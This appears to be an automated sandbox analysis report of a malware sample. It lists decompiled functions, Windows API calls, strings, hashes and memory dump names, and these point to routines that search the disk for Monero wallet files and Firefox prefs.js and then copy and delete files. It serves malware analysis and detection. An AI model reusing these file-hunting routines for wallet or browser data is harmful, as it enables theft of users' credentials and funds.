Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003415B8,00340D96), ref: 0032F71E
StrCmpCA.SHLWAPI(?,003415BC), ref: 0032F76F
StrCmpCA.SHLWAPI(?,003415C0), ref: 0032F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0032FAB1
FindClose.KERNEL32(000000FF), ref: 0032FAC3

Strings

prefs.js, xrefs: 0032F812

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 9bc89f6eca6a29092360c1ce0cff07016e2e9a57b259f23652b0b6f7ce1fcef2
Instruction ID: c420e1c7eebdec4961fbf0af64846ca667bd4208066dfae6aea03a91e68b7224
Opcode Fuzzy Hash: 9bc89f6eca6a29092360c1ce0cff07016e2e9a57b259f23652b0b6f7ce1fcef2
Instruction Fuzzy Hash: 08B15171900618ABCB26FF64DCD6AEE7778AF54300F4081A8E44A9F141EF346B49DF92

Function 003216D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0034510C,?,?,?,003451B4,?,?,00000000,?,00000000), ref: 00321923
StrCmpCA.SHLWAPI(?,0034525C), ref: 00321973
StrCmpCA.SHLWAPI(?,00345304), ref: 00321989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00321D40
DeleteFileA.KERNEL32(00000000), ref: 00321DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00321E20
FindClose.KERNEL32(000000FF), ref: 00321E32

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Strings

\*.*, xrefs: 003217F1

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: de84090e3dd9840cc731b3392caee21ee03d1571ab73cf4f4ffd9e74e19f8fd3
Instruction ID: 3549a3f7b6e97e23b4d1f0c7bb6316c7f53bc422a95b581fa0fd3d1dedce9e1d
Opcode Fuzzy Hash: de84090e3dd9840cc731b3392caee21ee03d1571ab73cf4f4ffd9e74e19f8fd3
Instruction Fuzzy Hash: EF123F71910618ABCB1AFB60DCD6EEE7778AF54300F404199B14A6E091EF346F89DFA1

Function 0032DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00340C2E), ref: 0032DE5E
StrCmpCA.SHLWAPI(?,003414C8), ref: 0032DEAE
StrCmpCA.SHLWAPI(?,003414CC), ref: 0032DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0032E3E0
FindClose.KERNEL32(000000FF), ref: 0032E3F2

Strings

\*.*, xrefs: 0032DE26

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 0a4a38754ee9137f87b802e2486bb406b96f7204e5b3eeb47f471106bc5bd298
Instruction ID: a7a518a200001bd7cb665231b75fca8c31e87ac485f960320ae4266a49d76c47
Opcode Fuzzy Hash: 0a4a38754ee9137f87b802e2486bb406b96f7204e5b3eeb47f471106bc5bd298
Instruction Fuzzy Hash: CEF1CF71814618AADB17FB60DCD6EEE7778BF14300F8141D9A04A6A091EF346F8ADF52

Function 0032DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003414B0,00340C2A), ref: 0032DAEB
StrCmpCA.SHLWAPI(?,003414B4), ref: 0032DB33
StrCmpCA.SHLWAPI(?,003414B8), ref: 0032DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0032DDCC
FindClose.KERNEL32(000000FF), ref: 0032DDDE

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: d671df6b75ef0e0f2939110bbb54e95d722ff01a357b7050a85aae9dd29dc71d
Instruction ID: b1a51921c2921da26dc804ef69c3819c66ab944fd95c6e66bace71210e4ffec2
Opcode Fuzzy Hash: d671df6b75ef0e0f2939110bbb54e95d722ff01a357b7050a85aae9dd29dc71d
Instruction Fuzzy Hash: 23915572900514A7CB16FBB4ECD69ED777CAF94300F408558F94A9F181EE34AB498B92

Function 006E8033 Relevance: 11.6, Strings: 8, Instructions: 1599COMMON

Download Yara Rule

Strings

_Mvg, xrefs: 006E89F3
{oso, xrefs: 006E9143
E,:, xrefs: 006E8139
IP?, xrefs: 006E84CD
4%$v, xrefs: 006E8F7C
z@S, xrefs: 006E8E39
q, xrefs: 006E8751
mt?}, xrefs: 006E9317

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4%$v$E,:$IP?$_Mvg$mt?}$z@S${oso$q
API String ID: 0-1417705900
Opcode ID: 18af393bde6e25a49fa32243555347213ce128299c91864e731773224f14bc6d
Instruction ID: d8ec8f3b30f52b1ce93f6a932aa3cd8110241a8f4e505c5632fe8553115fba0e
Opcode Fuzzy Hash: 18af393bde6e25a49fa32243555347213ce128299c91864e731773224f14bc6d
Instruction Fuzzy Hash: 3AB2F5F390C2009FE3046E29EC8567ABBE5EF94720F1A493DEAC4C7744EA3598158797

Function 00337B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

GetKeyboardLayoutList.USER32(00000000,00000000,003405AF), ref: 00337BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00337BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00337C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00337C62
LocalFree.KERNEL32(00000000), ref: 00337D22

Strings

/ , xrefs: 00337C7F

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 29e6aba988284635bc6bfada7e14755b0437ddbefac3295b769851bdfbb48000
Instruction ID: bcb8d806c4d65a581d152d67236be5e9f6cc8d6abd2e0eae8b9be187f79b7194
Opcode Fuzzy Hash: 29e6aba988284635bc6bfada7e14755b0437ddbefac3295b769851bdfbb48000
Instruction Fuzzy Hash: C4416C71940218ABCB25DB94DCC9BEEB7B8FF44700F204199E0096A180DB742F85CFA1

Function 0032E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00340D73), ref: 0032E4A2
StrCmpCA.SHLWAPI(?,003414F8), ref: 0032E4F2
StrCmpCA.SHLWAPI(?,003414FC), ref: 0032E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0032EBDF

Strings

\*.*, xrefs: 0032E44D

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: a43578503804d378465782333618652cb7272843aee4cd8887dba554fc71c106
Instruction ID: b845e88067c7575adc1f018cd50b17d5ef159339af746ab96151352f8a0bde73
Opcode Fuzzy Hash: a43578503804d378465782333618652cb7272843aee4cd8887dba554fc71c106
Instruction Fuzzy Hash: A5125371910618AADB16FB60DCD6EED7378AF54300F4041A8F54AAE191EF346F89CF92

Function 006E2FAC Relevance: 9.1, Strings: 6, Instructions: 1640COMMON

Download Yara Rule

Strings

su3s, xrefs: 006E422C
q1mh, xrefs: 006E3AFA
w^, xrefs: 006E41B9
=7V, xrefs: 006E4278
7?, xrefs: 006E3C2C
kz, xrefs: 006E3739

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7?$q1mh$su3s$w^$=7V$kz
API String ID: 0-4251055165
Opcode ID: 7a37fea4b47989297ab20c014e431b8561edd62e5b97bfdf6411fded3da50ea3
Instruction ID: 1642656e8455cfdf7eb31fef762cc1600a1de7c9cb9699f26f9378be68c64802
Opcode Fuzzy Hash: 7a37fea4b47989297ab20c014e431b8561edd62e5b97bfdf6411fded3da50ea3
Instruction Fuzzy Hash: BAB2F5F3A0C200AFE3046E2DEC8567ABBE9EF94720F1A493DE6C5C7744E63558458693

Function 006E4A8B Relevance: 9.1, Strings: 6, Instructions: 1569COMMON

Download Yara Rule

Strings

e5}, xrefs: 006E5682
P}}, xrefs: 006E4F17
qyT, xrefs: 006E56D5
kwg{, xrefs: 006E5730
BEDo, xrefs: 006E4D2F
L7G, xrefs: 006E555E

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: L7G$BEDo$e5}$kwg{$qyT$P}}
API String ID: 0-1244562776
Opcode ID: 5552fec90f906e00a517a59d19cff2343a55740531b7d089a6637bd818fe069e
Instruction ID: db2f5dd650630cf5e411eb4acfb9cc4cfe237534b16dfbc9345992acce370653
Opcode Fuzzy Hash: 5552fec90f906e00a517a59d19cff2343a55740531b7d089a6637bd818fe069e
Instruction Fuzzy Hash: B4B2F1F360C2049FE704AE29EC8567AFBE5EF94320F16892DE6C4C3744EA7598458787

Function 00329AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00324EEE,00000000,?), ref: 00329B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329B2A
LocalFree.KERNEL32(?,?,?,?,00324EEE,00000000,?), ref: 00329B3F

Strings

N2, xrefs: 00329AD4, 00329AE1, 00329AF9, 00329B18, 00329AE4, 00329B1B

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N2
API String ID: 4291131564-1109174167
Opcode ID: 1313c018c2faf84b2c4518090b51466dede7921d3e306a0423826208429486e5
Instruction ID: 1dd05587ee5fb1cf77def7a9688ab6d426282c1dbcd8fef53d009a7274c5eff8
Opcode Fuzzy Hash: 1313c018c2faf84b2c4518090b51466dede7921d3e306a0423826208429486e5
Instruction Fuzzy Hash: B511A2B4240208EFEB10CFA4DC95FAA77B5FB89700F208059F9159B390C7B6A901DB90

Function 006EB64A Relevance: 7.8, Strings: 5, Instructions: 1553COMMON

Download Yara Rule

Strings

A~, xrefs: 006EB6FA
e,Y, xrefs: 006EB7AF
mCmi, xrefs: 006EC4D8
E]]~, xrefs: 006EC28A
kNWo, xrefs: 006EBAC1

Memory Dump Source

Source File: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

